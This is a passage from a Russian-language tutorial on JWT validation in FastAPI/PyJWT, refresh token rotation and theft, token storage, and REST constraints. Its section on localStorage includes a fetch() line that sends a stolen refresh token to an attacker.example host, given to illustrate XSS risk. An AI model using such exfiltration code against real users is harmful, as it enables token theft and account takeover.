Такой токен нельзя принимать в:

payments-api

даже если его подпись корректна и он выпущен тем же сервером авторизации. Если приложение не входит в aud, токен должен быть отклонён.

10. Проверка обязательных claims #

RFC 7519 не требует, чтобы каждый JWT обязательно содержал exp, iss, aud или другие claims: обязательный набор определяет конкретное приложение. Поэтому присутствие необходимых claims нужно явно контролировать.

В PyJWT:

payload = jwt.decode(
    token,
    PUBLIC_KEY,
    algorithms=["RS256"],
    issuer="https://auth.example.com",
    audience="notification-api",
    options={
        "require": [
            "sub",
            "iss",
            "aud",
            "iat",
            "exp",
            "jti",
        ]
    },
)

Без require отсутствие, например, exp может не считаться ошибкой: проверка срока действия выполняется, когда claim присутствует.

11. Проверка типа токена #

Access и refresh JWT могут быть подписаны одним сервером и иметь одинаковую структуру:

{
  "type": "access"
}
{
  "type": "refresh"
}

После криптографической проверки приложение должно дополнительно проверить назначение токена:

if payload.get("type") != "access":
    raise InvalidTokenError("Ожидался access token")

Иначе refresh token теоретически может быть передан в API вместо access token.

RFC 8725 отдельно рассматривает атаки, при которых JWT, созданный для одного назначения, используется в другом контексте. Для разных типов токенов должны применяться взаимоисключающие правила валидации.

12. Проверка sub #

sub обычно содержит идентификатор пользователя:

{
  "sub": "42"
}

После проверки JWT приложение должно убедиться, что субъект имеет допустимый формат и существует:

subject = payload.get("sub")

if subject is None:
    raise InvalidTokenError("Отсутствует sub")

try:
    user_id = int(subject)
except ValueError as exc:
    raise InvalidTokenError("Некорректный sub") from exc

user = await user_repository.get_by_id(user_id)

if user is None or not user.is_active:
    raise InvalidTokenError("Пользователь недоступен")

Корректная подпись подтверждает, что значение sub не было изменено после выпуска токена. Но она не гарантирует, что пользователь до сих пор существует, активен или имеет прежние права. RFC 8725 требует проверять допустимость субъекта в контексте приложения.

13. Проверка отзыва #

Если система поддерживает отзыв токенов, проверяется jti:

{
  "jti": "e9d58273-8750-46c9-86b5-14aa5e28b3a0"
}

Например, Redis:

revoked:access:e9d58273-8750-46c9-86b5-14aa5e28b3a0 = 1

Проверка:

jti = payload["jti"]

if await redis.exists(f"revoked:access:{jti}"):
    raise InvalidTokenError("Токен отозван")

Это уже не криптографическая, а прикладная проверка. Подпись может быть действительной, но приложение всё равно отклонит отозванный JWT.

jti является уникальным идентификатором токена и может использоваться для предотвращения повторного использования или управления отзывом.

Пример для FastAPI и PyJWT #

from typing import Any

import jwt
from fastapi import Depends, HTTPException, status
from fastapi.security import OAuth2PasswordBearer
from jwt.exceptions import ExpiredSignatureError, InvalidTokenError

oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/auth/login")

SECRET_KEY = "use-a-long-random-secret-from-environment"
ALGORITHM = "HS256"
ISSUER = "notification-service"
AUDIENCE = "notification-api"


def decode_access_token(token: str) -> dict[str, Any]:
    try:
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=[ALGORITHM],
            issuer=ISSUER,
            audience=AUDIENCE,
            leeway=5,
            options={
                "require": [
                    "sub",
                    "iss",
                    "aud",
                    "iat",
                    "exp",
                    "jti",
                ],
            },
        )
    except ExpiredSignatureError as exc:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Access token expired",
            headers={"WWW-Authenticate": "Bearer"},
        ) from exc
    except InvalidTokenError as exc:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Invalid access token",
            headers={"WWW-Authenticate": "Bearer"},
        ) from exc

    if payload.get("type") != "access":
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Invalid token type",
            headers={"WWW-Authenticate": "Bearer"},
        )

    return payload


async def get_current_user(
    token: str = Depends(oauth2_scheme),
):
    payload = decode_access_token(token)

    try:
        user_id = int(payload["sub"])
    except (TypeError, ValueError) as exc:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Invalid token subject",
            headers={"WWW-Authenticate": "Bearer"},
        ) from exc

    user = await user_repository.get_by_id(user_id)

    if user is None or not user.is_active:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="User is inactive or does not exist",
            headers={"WWW-Authenticate": "Bearer"},
        )

    if await redis.exists(f"revoked:access:{payload['jti']}"):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Access token revoked",
            headers={"WWW-Authenticate": "Bearer"},
        )

    return user

Что делает jwt.decode() #

В корректной конфигурации вызов:

jwt.decode(
    token,
    key,
    algorithms=["HS256"],
    issuer=ISSUER,
    audience=AUDIENCE,
)

выполняет основную техническую часть:

  • декодирует JWT;

  • проверяет разрешённый алгоритм;

  • проверяет подпись;

  • проверяет exp;

  • проверяет nbf;

  • проверяет iat в рамках возможностей библиотеки;

  • сравнивает iss;

  • сравнивает aud;

  • возвращает payload только после успешной проверки.

PyJWT предоставляет отдельные параметры для разрешённых алгоритмов, issuer, audience и временного leeway.

Приложение самостоятельно проверяет:

  • обязательность claims через require;

  • тип токена;

  • формат и допустимость sub;

  • активность пользователя;

  • актуальность ролей;

  • jti и состояние сессии;

  • права на конкретную операцию.

Валидация и авторизация — разные этапы #

Допустим, JWT успешно проверен:

{
  "sub": "42",
  "role": "user",
  "type": "access"
}

Это означает:

токен настоящий
+ не истёк
+ предназначен этому API
+ относится к пользователю 42

Но это ещё не означает, что пользователь может выполнить:

DELETE /api/users/10

После валидации выполняется авторизация:

if current_user.role != "admin":
    raise HTTPException(
        status_code=403,
        detail="Insufficient permissions",
    )

Итоговый порядок:

извлечение токена
→ криптографическая валидация
→ проверка claims
→ проверка состояния пользователя и сессии
→ авторизация конкретного действия


7. Можно ли использовать refresh token несколько раз? #

Да, это зависит от выбранной стратегии управления refresh-токенами.

Вариант 1. Многоразовый refresh token #

Один refresh token можно использовать несколько раз до его:

  • истечения;

  • отзыва;

  • завершения пользовательской сессии;

  • блокировки пользователя.

Refresh A → новый Access 1
Refresh A → новый Access 2
Refresh A → новый Access 3

Такой подход технически допустим: OAuth 2.0 не требует обязательной замены refresh token при каждом обновлении. Сервер при успешном обновлении может вернуть новый refresh token, но это не обязательно.

Главный недостаток: если Refresh A украдут, серверу трудно определить, кто его использует — настоящий клиент или злоумышленник.

Вариант 2. Одноразовый refresh token с ротацией #

При каждом обновлении сервер:

  1. принимает текущий refresh token;

  2. помечает его использованным;

  3. выпускает новый access token;

  4. выпускает новый refresh token.

Refresh A → Access 1 + Refresh B
Refresh B → Access 2 + Refresh C
Refresh C → Access 3 + Refresh D

После получения Refresh B повторное использование Refresh A запрещено:

Refresh A → 401 Unauthorized

Это называется refresh token rotation. Современные рекомендации OAuth требуют для публичных клиентов использовать либо ротацию refresh-токенов, либо криптографическую привязку токена к конкретному клиенту.

Зачем обнаруживать повторное использование #

Предположим:

1. Злоумышленник украл Refresh A.
2. Пользователь применил Refresh A и получил Refresh B.
3. Refresh A стал недействительным.
4. Злоумышленник повторно отправляет Refresh A.

Сервер обнаруживает использование уже погашенного токена. Это указывает на возможную кражу.

Обычно после этого сервер отзывает всё семейство токенов:

Refresh A
Refresh B
Refresh C

Пользователю потребуется снова пройти аутентификацию. RFC 9700 прямо описывает ротацию как механизм обнаружения повторного использования украденного refresh token.

Проблема параллельных запросов #

Клиент может почти одновременно отправить два запроса:

Запрос 1: Refresh A → Refresh B
Запрос 2: Refresh A → ошибка повторного использования

Второй запрос может выглядеть как атака, хотя его отправил настоящий клиент. Поэтому обновление должно выполняться атомарно:

проверить Refresh A
→ пометить использованным
→ создать Refresh B
→ зафиксировать транзакцию

На клиенте также желательно не запускать несколько обновлений одновременно: один процесс обновляет токен, остальные запросы ожидают его результат.

Что выбрать #

Для простой внутренней системы допустим многоразовый refresh token при условии, что он:

  • хранится на сервере или связан с серверной сессией;

  • имеет ограниченный срок жизни;

  • может быть отозван;

  • передаётся только через TLS;

  • надёжно хранится клиентом.

Для публичного веб-приложения, мобильного клиента или системы с повышенными требованиями безопасности предпочтительна ротация:

каждое использование
→ новый refresh token
→ старый становится недействительным

Итого: refresh token можно сделать многоразовым, но безопаснее выдавать новый при каждом обновлении и запрещать повторное использование старого.


8. Что будет, если украли refresh token? #

Что получает злоумышленник #

Украденный refresh token позволяет запрашивать новые access-токены от имени пользователя:

Украденный refresh token
POST /auth/refresh
Новый access token
Доступ к API с правами пользователя

Злоумышленник сможет выполнять операции в пределах scope и полномочий, связанных с refresh token. В отличие от короткоживущего access token, refresh token часто действует дольше, поэтому утечка может обеспечить продолжительный доступ к учётной записи. Refresh token должен передаваться только серверу авторизации, храниться конфиденциально и использоваться через TLS.

Без ротации #

При многоразовом refresh token ситуация выглядит так:

Пользователь:    Refresh A → Access 1
Злоумышленник:   Refresh A → Access 2
Пользователь:    Refresh A → Access 3
Злоумышленник:   Refresh A → Access 4

Оба могут пользоваться одним токеном до тех пор, пока он:

  • не истечёт;

  • не будет отозван;

  • не станет недействительным из-за завершения сессии;

  • не будет заблокирован сервером.

При этом серверу сложно отличить легитимное использование от использования украденной копии.

При ротации refresh token #

При каждом обновлении старый токен заменяется новым:

Refresh A → Access 1 + Refresh B
Refresh B → Access 2 + Refresh C

Refresh A после первого использования становится недействительным.

Если токен украли, возможны два сценария.

Пользователь применил токен первым #

Пользователь:
Refresh A → Refresh B

Злоумышленник:
Refresh A → повторное использование

Сервер видит попытку использовать уже погашенный токен и обнаруживает возможную компрометацию.

Злоумышленник применил токен первым #

Злоумышленник:
Refresh A → Refresh B

Пользователь:
Refresh A → повторное использование

Сервер также обнаруживает повторное использование, но не может надёжно определить, какая сторона является настоящим пользователем.

Поэтому при обнаружении повторного использования обычно отзывается всё семейство refresh-токенов:

Refresh A → Refresh B → Refresh C
      вся цепочка отзывается

Пользователю приходится снова пройти аутентификацию. RFC 9700 требует для публичных клиентов применять механизм обнаружения повторного использования refresh token — ротацию либо привязку токена к конкретному отправителю.

Что происходит с уже выданными access-токенами #

Отзыв refresh token прежде всего запрещает выпуск новых access-токенов. Но уже выданный access JWT может продолжить работать до своего exp, если API проверяет только:

подпись + exp + iss + aud

Например:

12:00 — злоумышленник получил access token до 12:15
12:02 — refresh token отозван
12:02–12:15 — access token может продолжать работать
12:15 — access token истекает

Чтобы прекратить доступ немедленно, система должна дополнительно:

  • отозвать связанные access-токены;

  • заблокировать серверную сессию;

  • проверять jti или session_id в Redis/БД;

  • использовать introspection для непрозрачных токенов.

RFC 7009 указывает, что при отзыве refresh token серверу следует также аннулировать access-токены, выданные в рамках того же authorization grant, если такая возможность поддерживается.

Как должна реагировать система #

При подтверждённой утечке сервер должен:

  1. Отозвать украденный refresh token.

  2. Отозвать всё его семейство при использовании ротации.

  3. Завершить соответствующую пользовательскую сессию.

  4. По возможности отозвать связанные access-токены.

  5. Потребовать повторную аутентификацию.

  6. Зафиксировать IP, устройство и время подозрительного обновления.

  7. Уведомить пользователя о завершении сессии.

  8. Проверить источник утечки.

Стандартный endpoint отзыва выглядит примерно так:

POST /auth/revoke
Content-Type: application/x-www-form-urlencoded

token=<refresh-token>&token_type_hint=refresh_token

После успешного отзыва токен больше не должен использоваться, хотя в распределённой системе возможна небольшая задержка распространения информации между сервисами.

Как уменьшить последствия кражи #

Практичная схема:

Access token:
короткий срок — например, 5–15 минут

Refresh token:
серверная сессия
+ ротация при каждом использовании
+ обнаружение повторного использования
+ абсолютный срок жизни
+ срок неактивности
+ возможность отзыва

Также refresh token желательно:

  • хранить в виде хеша на сервере;

  • привязывать к конкретной сессии и клиенту;

  • не записывать в логи;

  • не передавать ресурсным API;

  • защищать от XSS и утечек из клиентского хранилища;

  • для браузера хранить в HttpOnly, Secure, правильно настроенной cookie;

  • обновлять атомарно, чтобы параллельные запросы не создавали ложное обнаружение кражи.

Важное уточнение #

Проблема не зависит от того, является refresh token JWT или случайной непрозрачной строкой:

JWT refresh token
или
opaque refresh token

Если злоумышленник может предъявить действительный bearer refresh token серверу авторизации, он может попытаться получить новый access token.

Главная опасность кражи refresh token — не чтение его payload, а возможность долго поддерживать доступ к учётной записи, постоянно выпуская новые access-токены. Ротация ограничивает эту возможность и позволяет обнаружить повторное использование.


9. Где хранить access token и refresh token? #

Для браузерного приложения с backend #

Наиболее безопасная схема — не передавать JWT в JavaScript вообще:

Браузер
   │ HttpOnly session cookie
Backend / BFF
   │ access token
API
  • access token хранится на backend, обычно в памяти, Redis или серверном хранилище сессий;

  • refresh token хранится только на backend, желательно в зашифрованном виде или как хеш;

  • браузер получает только идентификатор серверной сессии в cookie.

Пример cookie:

Set-Cookie: __Host-session=opaque_random_value;
            Path=/;
            Secure;
            HttpOnly;
            SameSite=Lax

Такая схема называется Backend for Frontend — BFF. Она не позволяет JavaScript прочитать и украсть access или refresh token. Актуальные рекомендации IETF для браузерных приложений рассматривают BFF как наиболее защищённый вариант: OAuth-токены остаются на сервере, а браузер работает через cookie-сессию.

  • HttpOnly — JavaScript не может прочитать cookie через document.cookie;

  • Secure — cookie передаётся только по HTTPS;

  • SameSite — ограничивает отправку cookie при межсайтовых запросах;

  • Path=/ — область действия cookie;

  • префикс __Host- требует Secure, Path=/ и отсутствия Domain, что ограничивает возможность подмены cookie поддоменами.

SameSite=Strict безопаснее, но может мешать OAuth-переходам и некоторым внешним ссылкам. Для обычной серверной сессии часто применяется:

SameSite=Lax

При действительно межсайтовой архитектуре может потребоваться:

SameSite=None; Secure

В таком случае необходима полноценная защита от CSRF.

Для SPA без BFF #

Когда frontend непосредственно обращается к API, компромиссный вариант выглядит так:

Access token  → только в памяти JavaScript
Refresh token → HttpOnly cookie или изолированное хранилище

Access token #

Access token желательно хранить только в оперативной памяти:

let accessToken = null;

После перезагрузки страницы он исчезнет, но его можно заново получить через защищённый refresh-механизм.

Более изолированный вариант:

Web Worker
    └── хранит и использует токен

Хранение в памяти уменьшает время, в течение которого токен можно похитить, но не защищает полностью: при работающем XSS злоумышленник может отправлять запросы от имени пользователя даже без прямого чтения токена. IETF отдельно рассматривает хранение токенов в памяти и Web Worker как более изолированные варианты по сравнению с постоянным browser storage.

Refresh token #

Refresh token можно помещать в отдельную cookie:

Set-Cookie: __Host-refresh=<token>;
            Path=/auth/refresh;
            Secure;
            HttpOnly;
            SameSite=Strict

Ограниченный Path означает, что cookie будет отправляться только на endpoint обновления:

POST /auth/refresh

В этом случае JavaScript не сможет прочитать refresh token:

document.cookie // refresh token здесь недоступен

Но cookie автоматически отправляется браузером, поэтому необходимо учитывать CSRF:

  • использовать SameSite;

  • проверять Origin и/или Referer;

  • при необходимости использовать CSRF-токен;

  • принимать только POST;

  • не выполнять обновление через GET;

  • настроить CORS без широкого Access-Control-Allow-Origin: *.

HttpOnly препятствует чтению cookie через XSS, но не предотвращает отправку запросов из скомпрометированной страницы и сам по себе не является защитой от CSRF.

Почему не следует использовать localStorage #

Не рекомендуется:

localStorage.setItem("access_token", accessToken);
localStorage.setItem("refresh_token", refreshToken);

Любой JavaScript, выполняющийся в origin приложения, может получить токены:

fetch("https://attacker.example/steal", {
    method: "POST",
    body: localStorage.getItem("refresh_token"),
});

Код может появиться через:

  • XSS;

  • скомпрометированную npm-зависимость;

  • сторонний аналитический скрипт;

  • заражённый CDN;

  • ошибку в собственном frontend-коде.

OWASP прямо рекомендует не хранить JWT, идентификаторы сессий и refresh-токены в localStorage или sessionStorage, поскольку они доступны JavaScript.

А sessionStorage безопаснее? #

sessionStorage очищается после закрытия вкладки и не разделяется между вкладками, поэтому последствия утечки могут быть немного ограничены.

Но с точки зрения XSS:

localStorage  → доступен JavaScript
sessionStorage → тоже доступен JavaScript

Поэтому sessionStorage не является безопасным хранилищем для долгоживущего refresh token. Для короткоживущего access token это иногда применяется как компромисс, но хранение только в памяти предпочтительнее.

Можно:

Set-Cookie: access_token=<jwt>;
            Secure;
            HttpOnly;
            SameSite=Lax

Но тогда JWT фактически используется как cookie-сессия:

Браузер автоматически отправляет JWT
→ возникает CSRF-модель угроз

Плюсы:

  • токен нельзя напрямую прочитать через JavaScript;

  • уменьшается риск кражи токена посредством простого XSS;

  • удобно для браузерного приложения.

Минусы:

  • необходима CSRF-защита;

  • cookie будет отправляться автоматически;

  • logout и отзыв JWT остаются отдельной проблемой;

  • большой JWT передаётся с каждым запросом;

  • браузерная cookie может иметь ограничения по размеру.

Часто лучше положить в cookie не JWT, а случайный идентификатор серверной сессии:

cookie: session_id=Jfp7dQ...
Redis:  session_id → user_id, access_token, refresh_token

Это упрощает немедленный logout, отзыв сессии и обновление прав.

Где хранить токены на сервере #

Access token #

Access token обычно хранится:

  • в оперативной памяти процесса;

  • в Redis с TTL;

  • внутри серверной сессии;

  • иногда вообще не хранится, если сервер сам выпускает JWT.

Пример:

session:abc:
    user_id = 42
    access_token = ...
    expires_at = ...

Refresh token #

Refresh token требует более строгой защиты:

Redis / база данных
    ├── hash refresh token
    ├── user_id
    ├── session_id
    ├── family_id
    ├── expires_at
    ├── used_at
    └── revoked_at

Для собственного opaque refresh token лучше хранить его хеш:

stored_hash = sha256(refresh_token.encode()).hexdigest()

Это похоже на хранение пароля:

Клиент хранит оригинал
Сервер хранит хеш

При краже базы злоумышленник не получает готовые refresh-токены.

Для ротации необходимо атомарно:

проверить старый токен
→ пометить использованным
→ создать новый токен
→ сохранить новый хеш

Refresh-токены публичных клиентов должны использовать ротацию либо быть криптографически привязаны к клиенту.

Мобильные приложения #

В мобильном приложении refresh token следует хранить в системном защищённом хранилище:

iOS     → Keychain
Android → хранилище с ключом из Android Keystore

Access token можно держать:

  • в оперативной памяти;

  • при необходимости — в том же защищённом хранилище, но с коротким сроком жизни.

Apple Keychain предоставляет зашифрованное хранилище для небольших секретов. Android Keystore позволяет хранить криптографические ключи так, чтобы ключевой материал нельзя было непосредственно извлечь с устройства; этим ключом можно шифровать сохранённый refresh token.

Не следует хранить refresh token в:

обычных SharedPreferences
SQLite без шифрования
обычном файле
логах приложения

Межсервисное взаимодействие #

Для backend-сервиса:

Access token → память или краткоживущий Redis-кэш
Refresh token → зашифрованное серверное хранилище
Client secret → Secret Manager / Vault / защищённая конфигурация

Не следует хранить токены:

  • в исходном коде;

  • в Git;

  • в Docker image;

  • в открытых логах;

  • в URL;

  • в необработанных трассировках запросов.

Рекомендуемая схема для FastAPI и браузерного frontend #

Для обычного собственного frontend и FastAPI наиболее практичный вариант:

Браузер:
    __Host-session в HttpOnly cookie

FastAPI:
    session_id → Redis

Redis:
    user_id
    refresh_token_hash или зашифрованный refresh token
    текущий token family
    expires_at
    revoked_at

Access JWT:
    создаётся или обновляется на backend
    используется backend/BFF при вызове сервисов

Когда frontend должен обращаться к API напрямую:

Access token:
    только в памяти frontend
    срок 5–15 минут

Refresh token:
    Secure + HttpOnly cookie
    Path=/auth/refresh
    ротация при каждом использовании
    защита от CSRF

Итог #

Для браузера лучший вариант:

Access token  → backend/BFF
Refresh token → backend/BFF
Браузер       → только HttpOnly session cookie

Допустимый компромисс для SPA:

Access token  → память
Refresh token → Secure HttpOnly cookie

Для мобильного приложения:

Access token  → память
Refresh token → Keychain / Keystore-защищённое хранилище

Наиболее нежелательный вариант:

Access token  → localStorage
Refresh token → localStorage

Особенно опасно хранить в localStorage refresh token, поскольку его кража позволяет злоумышленнику продолжительное время выпускать новые access-токены.


10. Что такое REST (Representational State Transfer) и RESTfull как архитектурный стиль, и какие ограничения (constraints) лежат в его основе? #

Что такое REST #

REST — Representational State Transfer — архитектурный стиль для построения распределённых гипермедийных систем. Он был сформулирован Роем Филдингом в докторской диссертации 2000 года как набор архитектурных ограничений, из которых выводятся свойства современной веб-архитектуры: масштабируемость, независимость компонентов, кэшируемость и единообразное взаимодействие. REST — не протокол, не формат данных и не библиотека.

Правильное написание:

RESTful

а не RESTfull.

RESTful-система — система, которая следует ограничениям REST. На практике словом RESTful часто называют любой HTTP API с JSON и маршрутами вроде /users/42, но строго этого недостаточно: соответствие REST определяется архитектурными ограничениями, а не только использованием HTTP-методов.

Что означает Representational State Transfer #

Название можно разобрать так:

  • Resource — ресурс;

  • Representation — представление ресурса;

  • State — состояние приложения;

  • Transfer — передача представлений между клиентом и сервером.

Ресурс #

Ресурс — некоторая сущность или концепция, идентифицируемая URI:

/users/42
/orders/1001
/articles/rest

Ресурсом может быть:

  • пользователь;

  • заказ;

  • документ;

  • коллекция;

  • результат вычисления;

  • текущее состояние операции.

HTTP называет целью запроса ресурс, а URI используется для его идентификации.

Представление ресурса #

Клиент обычно получает не сам ресурс, а его представление:

GET /users/42
Accept: application/json
{
  "id": 42,
  "username": "alfob"
}

Этот же ресурс может иметь другое представление:

GET /users/42
Accept: application/xml
<user>
    <id>42</id>
    <username>alfob</username>
</user>

Ресурс и его представление — не одно и то же:

Ресурс:
    пользователь с ID 42

Представления:
    JSON
    XML
    HTML
    изображение

HTTP отделяет идентификацию ресурса от представления и семантики операции над ним.

Передача состояния #

Клиент получает представления ресурсов и на их основе изменяет состояние своего взаимодействия с системой.

Например:

Клиент находится на списке заказов
получает ссылку на заказ 1001
переходит к заказу 1001
получает допустимое действие «оплатить»
переходит к оплате

Передаваемые сервером представления содержат данные и, в полном REST-подходе, ссылки или элементы управления, позволяющие клиенту перейти в следующее состояние приложения.

REST и HTTP #

REST не требует обязательного использования HTTP. Теоретически REST-ограничения можно реализовать поверх другого протокола.

Однако HTTP хорошо соответствует REST:

  • URI идентифицирует ресурс;

  • методы выражают семантику операции;

  • заголовки описывают сообщение;

  • статус-коды сообщают результат;

  • Content-Type описывает представление;

  • HTTP поддерживает кэширование и посредников.

HTTP является stateless-протоколом запрос–ответ с единообразным интерфейсом и самодостаточными сообщениями, поэтому он естественно подходит для реализации REST.

Архитектурные ограничения REST #

REST строится на шести ограничениях:

1. Client–Server
2. Stateless
3. Cache
4. Uniform Interface
5. Layered System
6. Code on Demand — необязательное

Эти ограничения применяются совместно. Их цель — не просто определить внешний вид URL, а сформировать свойства всей системы.


1. Client–Server — разделение клиента и сервера #

Клиент и сервер имеют разные обязанности:

Клиент:
    интерфейс
    отображение
    пользовательское взаимодействие

Сервер:
    бизнес-логика
    данные
    авторизация
    обработка запросов
Client ──request──> Server
Client <─response── Server

Клиенту не требуется знать:

  • какая база данных используется;

  • как устроены таблицы;

  • на каком языке написан сервер;

  • как сервер реализует бизнес-логику.

Серверу не требуется знать:

  • как устроен интерфейс клиента;

  • является клиент браузером, мобильным приложением или другим сервисом.

Это позволяет развивать клиент и сервер независимо, пока сохраняется контракт взаимодействия. Филдинг выводит REST из клиент-серверного стиля именно для разделения обязанностей и независимой эволюции компонентов.


2. Stateless — отсутствие состояния клиентской сессии на сервере #

Каждый запрос должен содержать всю информацию, необходимую для его обработки.

Например:

GET /api/profile
Authorization: Bearer <access-token>
Accept: application/json

Сервер не должен зависеть от скрытого контекста предыдущего запроса:

Плохо:

Запрос 1: «Выбрать пользователя 42»
Запрос 2: «Показать его заказы»

Сервер должен помнить, кого означает «его».
Stateless:

GET /users/42/orders

Каждый запрос можно понять независимо.

Что stateless не означает #

Stateless не означает, что сервер не хранит никаких данных.

Сервер может хранить:

  • пользователей;

  • заказы;

  • товары;

  • платежи;

  • файлы;

  • состояние бизнес-процессов.

Ограничение касается контекста клиентской сессии между запросами:

Состояние ресурсов в БД        → допустимо
Неявный контекст диалога       → нарушает stateless

Филдинг определяет stateless-взаимодействие так: каждый запрос клиента должен содержать всю необходимую информацию, а сервер не должен использовать сохранённый контекст предыдущих запросов для его понимания.

Преимущества #

  • любой экземпляр сервера может обработать запрос;

  • проще горизонтальное масштабирование;

  • проще восстановление после сбоя;

  • запросы проще анализировать и повторять;

  • серверу не нужно синхронизировать контекст сессии между экземплярами.

Недостатки #

  • часть контекста приходится отправлять повторно;

  • запросы могут стать больше;

  • клиент должен управлять своим состоянием;

  • авторизационные данные приходится передавать с каждым защищённым запросом.


3. Cacheable — кэшируемость #

Ответ должен явно или неявно определяться как:

cacheable

или:

non-cacheable

Пример:

HTTP/1.1 200 OK
Cache-Control: public, max-age=300
ETag: "user-42-v7"
Content-Type: application/json

Кэш может находиться:

  • в браузере;

  • в мобильном приложении;

  • в reverse proxy;

  • в CDN;

  • в API Gateway;

  • в промежуточном сервере.

Client → Cache → Server
          └── может вернуть сохранённый ответ

Преимущества:

  • меньше запросов к серверу;

  • ниже задержка;

  • меньше сетевой трафик;

  • выше масштабируемость.

Недостаток — риск устаревших данных. Поэтому кэширование должно управляться явно через механизмы вроде:

Cache-Control
ETag
If-None-Match
Last-Modified
If-Modified-Since

REST добавляет ограничение кэшируемости поверх stateless-взаимодействия, чтобы повысить эффективность и воспринимаемую производительность системы. HTTP предоставляет стандартные механизмы для реализации такого кэширования.


4. Uniform Interface — единообразный интерфейс #

Это центральное ограничение REST. Все компоненты взаимодействуют через общий, стандартизированный интерфейс, а не через уникальные команды для каждого типа объекта.

В HTTP роль такого интерфейса выполняют:

  • URI;

  • стандартные методы;

  • статус-коды;

  • заголовки;

  • представления ресурсов;

  • ссылки и элементы управления.

Например:

GET /users/42
DELETE /users/42
PUT /users/42

Вместо процедурных команд:

POST /getUser
POST /deleteUser
POST /replaceUser

Uniform Interface включает четыре более конкретных ограничения.

4.1. Identification of resources — идентификация ресурсов #

Каждый ресурс должен иметь стабильный идентификатор:

/users/42
/orders/1001
/orders/1001/items

URI идентифицирует ресурс, а не конкретное действие над ним.

Предпочтительно:

GET /users/42
DELETE /users/42

Вместо:

POST /get-user
POST /delete-user

Это не означает, что URI обязан содержать существительное при любых обстоятельствах, но в ресурсной модели действия обычно выражаются семантикой метода, а не глаголом в URL.

4.2. Manipulation through representations — управление через представления #

Клиент изменяет ресурс, передавая его представление или описание изменения:

PUT /users/42
Content-Type: application/json

{
  "username": "new_name",
  "email": "new@example.com"
}

Или частичное изменение:

PATCH /users/42
Content-Type: application/merge-patch+json

{
  "email": "new@example.com"
}

Клиент не получает прямого доступа к внутреннему объекту или строке базы данных. Он взаимодействует через сетевое представление ресурса.

4.3. Self-descriptive messages — самодостаточные сообщения #

Сообщение должно содержать достаточно информации, чтобы получатель понял, как его обработать:

POST /orders
Content-Type: application/json
Authorization: Bearer <token>
Accept: application/json
{
  "product_id": 15,
  "quantity": 2
}

Здесь явно указаны:

  • операция — POST;

  • целевой ресурс — /orders;

  • формат тела — application/json;

  • ожидаемый формат ответа;

  • авторизационные данные.

Ответ также должен быть самодостаточным:

HTTP/1.1 201 Created
Location: /orders/1001
Content-Type: application/json
{
  "id": 1001,
  "status": "created"
}

HTTP определяет семантику сообщения через метод, статус-код, поля заголовков и метаданные представления.

4.4. HATEOAS — управление состоянием приложения через гипермедиа #

Полное название:

Hypermedia As The Engine Of Application State

Сервер возвращает не только данные, но и допустимые дальнейшие действия:

{
  "id": 1001,
  "status": "pending",
  "_links": {
    "self": {
      "href": "/orders/1001"
    },
    "payment": {
      "href": "/orders/1001/payment",
      "method": "POST"
    },
    "cancel": {
      "href": "/orders/1001/cancellation",
      "method": "POST"
    }
  }
}

После оплаты представление может измениться:

{
  "id": 1001,
  "status": "paid",
  "_links": {
    "self": {
      "href": "/orders/1001"
    },
    "receipt": {
      "href": "/orders/1001/receipt"
    }
  }
}

Ссылки payment и cancel исчезли, потому что эти переходы больше недоступны.

Идея заключается в том, что клиент не должен заранее жёстко знать все URI и переходы. Он знает начальную точку и стандартные типы представлений, а дальнейшие действия узнаёт из ответов сервера.

Именно гипермедиа отличает строгий REST от большинства API, которые сегодня называют RESTful. Обычный CRUD API может соблюдать ресурсность, HTTP-семантику и stateless-подход, но не реализовывать полноценный HATEOAS.


5. Layered System — слоистая система #

Клиент не должен знать, взаимодействует ли он непосредственно с конечным сервером или с промежуточным компонентом.

Client
CDN
Reverse Proxy
API Gateway
Application
Database

Промежуточными слоями могут быть:

  • балансировщик нагрузки;

  • CDN;

  • reverse proxy;

  • API Gateway;

  • сервис авторизации;

  • кэш;

  • WAF;

  • service mesh.

Каждый компонент взаимодействует только с непосредственным соседом и не обязан знать всю внутреннюю топологию.

Это позволяет:

  • добавлять балансировку;

  • централизовать безопасность;

  • использовать кэширование;

  • скрывать внутренние сервисы;

  • масштабировать компоненты независимо.

Недостатки:

  • дополнительная задержка;

  • более сложная диагностика;

  • сложнее определить источник ошибки;

  • промежуточные слои могут изменять или ограничивать сообщения.

Филдинг отмечает, что layered system ограничивает знание компонента только ближайшим уровнем взаимодействия и позволяет добавлять посредников для масштабирования, безопасности и инкапсуляции устаревших систем.


6. Code on Demand — код по требованию #

Это единственное необязательное ограничение REST.

Сервер может передавать клиенту исполняемый код, расширяющий его возможности:

HTML
JavaScript от сервера
выполнение в браузере

Пример:

<script src="/static/app.js"></script>

Преимущество:

  • сервер может динамически расширять функциональность клиента;

  • часть обработки переносится на клиент;

  • клиенту не обязательно заранее реализовывать всю логику.

Недостатки:

  • ухудшается прозрачность взаимодействия;

  • сложнее анализировать поведение системы;

  • появляются дополнительные риски безопасности;

  • поведение зависит от исполняемой среды клиента.

Поскольку это ограничение необязательно, система может считаться RESTful без передачи исполняемого кода.

Роль HTTP-методов #

HTTP-метод задаёт семантику операции, а URI определяет целевой ресурс:

GET    /users/42
POST   /users
PUT    /users/42
PATCH  /users/42
DELETE /users/42

Типичное значение:

МетодНазначение
GETПолучить представление ресурса
POSTПередать данные ресурсу для обработки, часто создать подчинённый ресурс
PUTСоздать или полностью заменить состояние ресурса по известному URI
PATCHЧастично изменить ресурс
DELETEУдалить ресурс
HEADПолучить метаданные ответа без содержимого
OPTIONSУзнать параметры взаимодействия с ресурсом

Важно: REST не утверждает, что каждый CRUD-метод обязан механически соответствовать одному HTTP-методу. Семантику методов определяет HTTP, а конкретную ресурсную модель — приложение. RFC 9110 подчёркивает разделение идентификации ресурса и семантики метода запроса.

REST — не просто CRUD #

Такой API выглядит ресурсно:

GET    /users
GET    /users/42
POST   /users
PATCH  /users/42
DELETE /users/42

